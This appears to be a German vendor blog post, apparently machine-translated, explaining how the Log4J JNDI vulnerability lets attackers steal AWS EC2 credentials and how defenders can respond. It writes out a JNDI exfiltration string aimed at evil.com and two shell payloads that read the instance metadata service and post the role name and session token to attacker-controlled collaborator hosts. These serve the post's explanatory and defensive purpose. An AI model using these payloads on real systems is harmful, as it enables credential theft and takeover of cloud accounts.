Was bedeutet Log4J für cloud Umgebungen?
Wenn Sie nicht gerade unter einem Felsen leben, haben sich die letzten Wochen im Bereich Sicherheit und Technologie um eine große Sicherheitslücke in der Log4J Java Library gedreht. Bei der Log4J JNDI-Schwachstelle handelt es sich weniger um eine einzelne Schwachstelle als vielmehr um eine Plattform für Angriffe über Remotecodeausführung.
Inzwischen arbeiten die Einsatzkräfte, Analysten und Ingenieure die folgenden Schritte zur Bewältigung der Stromschnellen durch
- Identifizierung der betroffenen Systeme und Bereitstellung von Patches
- Rotierende Beglaubigungen
- Suche nach Indikatoren für Kompromisse
Dieser Beitrag befasst sich mit dem dritten Schritt der Reaktion, der Suche nach Indikatoren für eine Kompromittierung und dem Verständnis der potenziellen Auswirkungen einer verwundbaren Log4J-Bibliothek, insbesondere wenn sie in einer öffentlichen cloud Umgebung eingesetzt wird. Dies ist eine Ergänzung zu den anderen Aussagen von Vectra zu diesem Thema, die sich auf Netzwerke vor Ort beziehen.
Wie können Angreifer die Log4J-Schwachstelle ausnutzen?
Bei Log4J handelt es sich im Grunde um eine Injektionsschwachstelle mit zwei Möglichkeiten, ein System auszunutzen.
1. Entfernte Code-Ausführung über externe Java-Klassendatei
- Mit der Injektionsschwachstelle im Logging-Framework Log4J ist es möglich, einen Opferserver dazu zu bringen, eine HTTP-Anfrage an einen entfernten Server zu stellen, bei der der Opferserver die Rückgabe einer Java-Klassendatei erwartet.
- Wenn der Angreifer den externen Server kontrolliert, kontrolliert er auch den Inhalt, der in der Antwort an das Opfer zurückgegeben wird. Hier kann beliebiger Code an den Opferserver geliefert werden, der in eine Java-Klassendatei eingebettet ist und vom Opferserver ausgeführt wird.
2. Datenexfiltration über DNS-Lookup
- Der Opferserver wird durch eine Injektionsschwachstelle dazu veranlasst, eine ausgehende Anfrage an einen externen Server zu stellen. Da der Angreifer den Hostnamen des externen Servers kontrolliert, wird dies zu einem Mechanismus, um den Wert von Umgebungsvariablen zu erfahren.
- Example: ${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}
Wie wirkt sich die Log4J-Schwachstelle auf cloud -Bereitstellungen aus?
Es wurde weithin berichtet und erkannt, dass ein Angreifer mit einer anfälligen Log4J-Bibliothek auf einem System die Möglichkeit hätte, den Wert beliebiger Umgebungsvariablen durch Datenexfiltration über den DNS-Lookup-Mechanismus abzurufen. Häufig gefundene AWS-Variablen, die Geheimnisse enthalten, wurden in der Erwartung in Umlauf gebracht, dass diese AWS-spezifischen Variablen häufig in cloud -Umgebungen zu finden sein könnten.
Die Zuweisung von Geheimnissen an Umgebungsvariablen ist jedoch eine schlechte Praxis und wird wahrscheinlich nicht auf der größten Angriffsfläche in AWS, der EC2-Instanz, zu finden sein.
AWS-spezifische Umgebungsvariablen werden wahrscheinlich an Endpunkten gesetzt - an Arbeitsplätzen, an denen awscli von einem Endbenutzer konfiguriert wurde, und in Lambda-Funktionen, bei denen die Variablen 'AWS_ACCESS_KEY_ID', 'AWS_SECRET_ACCESS_KEY' und 'AWS_SESSION_TOKEN' von der Laufzeit vorkonfiguriert werden.
AWS-spezifische Umgebungsvariablen sind auf EC2-Instanzen NICHT zu finden. Stattdessen verwenden Anwendungen, die auf AWS EC2-Instances laufen, die temporären Anmeldeinformationen des EC2-Instance-Profils, das der EC2-Instance zugewiesen ist. Diese temporären Anmeldeinformationen werden von einem internen HTTP endpoint namens Instance Metadata Service (IMDS) ausgegeben. Daher können wir die Log4J-Schwachstelle nutzen, um diese Anmeldeinformationen aus einer EC2-Instanz zu extrahieren.
Verwendung von Remote Code Execution zum Extrahieren von Instanz-Metadaten-Anmeldeinformationen
Durch die Ausnutzung der Log4J-Schwachstelle kann ein böswilliger Akteur temporäre Sitzungsdaten aus einer EC2-Instanz extrahieren und gegen Ihre AWS-Ressourcen vorgehen.
Beispiel für einen möglichen Angriffsweg mit Nutzlasten
1. Einschleusen von JNDI-Payloads, die das Opfer EC2 anweisen, die interne Instanz-Metadaten-API nach der IAM-Rolle abzufragen, als die EC2 ausgeführt wird, den Rollennamen in einer Datei zu speichern und an die vom Angreifer kontrollierte endpoint
- Erste Nutzlast an EC2-Instanzen mit IMDSv1: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'
2. Injizieren Sie mit dem Rollennamen einen weiteren JNDI-Payload, der das Opfer EC2 anweist, die interne Instanz-Metadaten-API nach einem temporären Sitzungs-Token abzufragen, das Token als Datei zu speichern und den Inhalt der Datei zurück an die vom Angreifer kontrollierte endpoint
- 2. Nutzdaten, die an EC2-Instanzen mit IMDSv1 geliefert werden sollen: /bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'
3. Eine abschließende JNDI-Payload kann gesendet werden, die das Opfer EC2 anweist, temporäre Dateien zu entfernen, die in den beiden vorherigen Injektionen erstellt wurden
Das extrahierte Sitzungs-Token hätte eine Standard-TTL von 1 Stunde. Ein Angreifer könnte diese Zeit nutzen, um Aktionen auf AWS-Ressourcen durchzuführen, als ob sie die EC2-Instanz wären, und vielleicht sogar Persistenztechniken wie die Erstellung neuer Benutzer oder Rollen ausführen. Die Auswirkungen hängen vollständig von den der EC2-Instanz zugewiesenen Berechtigungen ab.
Variationen zum Extrahieren von IMDS-Zugangsdaten über Log4J
Die möglichen Methoden zum Extrahieren von Anmeldeinformationen aus dem Instanz-Metadatendienst einer EC2-Instanz sind sehr vielfältig. Ein Angreifer kann jede Variante einer Nutzlast verwenden, die HTTP zur Abfrage des internen Dienstes verwendet, um Anmeldeinformationen abzurufen. Ein Payload könnte wie oben beschrieben in 2 Schritten oder in einem einzigen Schritt übermittelt werden. Es könnte ein Payload übermittelt werden, der die Antwort des Instanzmetadatendienstes in Umgebungsvariablen speichert, wobei der Wert der Umgebungsvariablen über eine sekundäre JNDI-Injektion extrahiert wird. Die einzige konsistente Signatur über alle möglichen Varianten hinweg ist die Notwendigkeit, eine HTTP-Anfrage an den auf der EC2-Instanz laufenden Instanz-Metadatendienst zu stellen.
IMDSv1 gegenüber IMDSv2
Als Reaktion auf die ausufernde Ausnutzung des EC2-Instanz-Metadatendienstes kündigte AWS 2019 eine Version 2 des Dienstes an, IMDSv2. IMDSv2 erfordert zwei HTTP-Aufrufe an den internen EC2-Instanz-Metadatenservice, wobei die Antwort des ersten Aufrufs als Eingabe für den zweiten Aufruf verwendet wird, um temporäre Sitzungsanmeldeinformationen abzurufen, wodurch effektiv ein sitzungsbasierter Instanz-Metadatenservice geschaffen wird. Die Durchsetzung von IMDSv2 ist eine wichtige Defense-in-Depth-Strategie zum Schutz vor Schwachstellen in Webanwendungen wie SSRF, die häufig zur Offenlegung von EC2-Anmeldedaten führen können. Speziell im Zusammenhang mit der Ausnutzung der Log4J-Schwachstelle kann ein Angreifer jedoch beliebige Befehle auf der EC2-Instanz des Opfers ausführen, so dass IMDSv2 keinen Schutz gegen die Extraktion temporärer Anmeldedaten über den Instanz-Metadatendienst bietet.
Wie kann man seinen EC2-Fußabdruck verteidigen?
Was können Systembesitzer tun, abgesehen von der Identifizierung und dem Patchen ihrer verwundbaren Log4J-Bibliothek?
1. Begrenzung des Explosionsradius einer möglichen Gefährdung
- Deaktivieren Sie den Instanzmetadatendienst HTTP endpoint und weisen Sie EC2-Instanzen keine Rollen zu, wenn sie nicht benötigt werden.
- Überprüfen Sie die Richtlinien und Berechtigungen, die allen Ihren Cloud Ressourcen (EC2-Instanzen, Lambda-Funktionen, Containern usw.) zugewiesen sind. Überprüfen Sie die zugewiesenen Berechtigungen und achten Sie dabei besonders auf alle IAM-Berechtigungen, die als Persistenzmechanismus verwendet werden könnten.
- Befolgen Sie weiterhin die Empfehlungen, die die Überprüfung von Umgebungsvariablen auf Systemen und das Rotieren von Anmeldedaten beinhalten. Bedenken Sie jedoch, dass diese Empfehlungen nicht ausreichen, wenn ein Angreifer seinen Zugang nutzt, um die interne Metadaten-API direkt nach Anmeldedaten abzufragen.
2. Identifizieren Sie alle nicht autorisierten Änderungen an Ihrer Umgebung
- Bei der Suche nach Anzeichen für eine Kompromittierung sollten Sie Ihren AWS-Bestand auf alle neu erstellten IAM-Ressourcen wie neue Benutzer, Rollen oder Vertrauensrichtlinien überprüfen.
Einige abschließende Gedanken
Angriffe auf die EC2-Instanz-Metadaten-API sind nicht neu. Der Missbrauch dieses Dienstes wird von Forschern schon so lange beschrieben, wie es cloud Sicherheitsforscher gibt. Es handelt sich nicht um einen "neuen Fehler", sondern vielmehr um eine neue Formulierung der Auswirkungen der Log4J-Schwachstelle auf cloud . Auch wenn sich dieser Beitrag speziell mit der Bedrohung einer AWS-Umgebung befasst, gelten die gleichen Grundsätze für jede GCP- oder Azure-Umgebung.
Testen von Log4J-Exploits auf AWS
Im Rahmen dieser Forschung habe ich eine Log4J-Sandbox entwickelt. Diese Sandbox enthält eine EC2-Instanz mit dem ursprünglichen JNDI-Expoit-Server des Forschers feihong und eine javabasierte anfällige Anwendung, die von @christophetd bereitgestellt wurde. Ich habe diese Sandbox und die Terraform für die Bereitstellung in AWS öffentlich zugänglich gemacht, um zukünftigen Forschern dabei zu helfen, sich schneller mit Log4J vertraut zu machen, oder um sie als Schulungsinstrument in ihren Unternehmen zu verwenden.
Besonderer Dank
Ein großes Lob an @christophetd für die Veröffentlichung einer verwundbaren Log4J-Docker-App. Ich habe ihre verwundbare Anwendung in meinen Tests verwendet und sie in meinem Terraform-Deployment einer Log4J Testing Sandbox gebündelt.
Bleiben Sie dran für einen Folge-Blog, in dem es darum geht, wie kontinuierliche Bedrohungserkennung verhindern kann, dass sich Angreifer in Ihrem AWS-Footprint ausbreiten - und wie Vectra's Detect for AWS dies ermöglicht.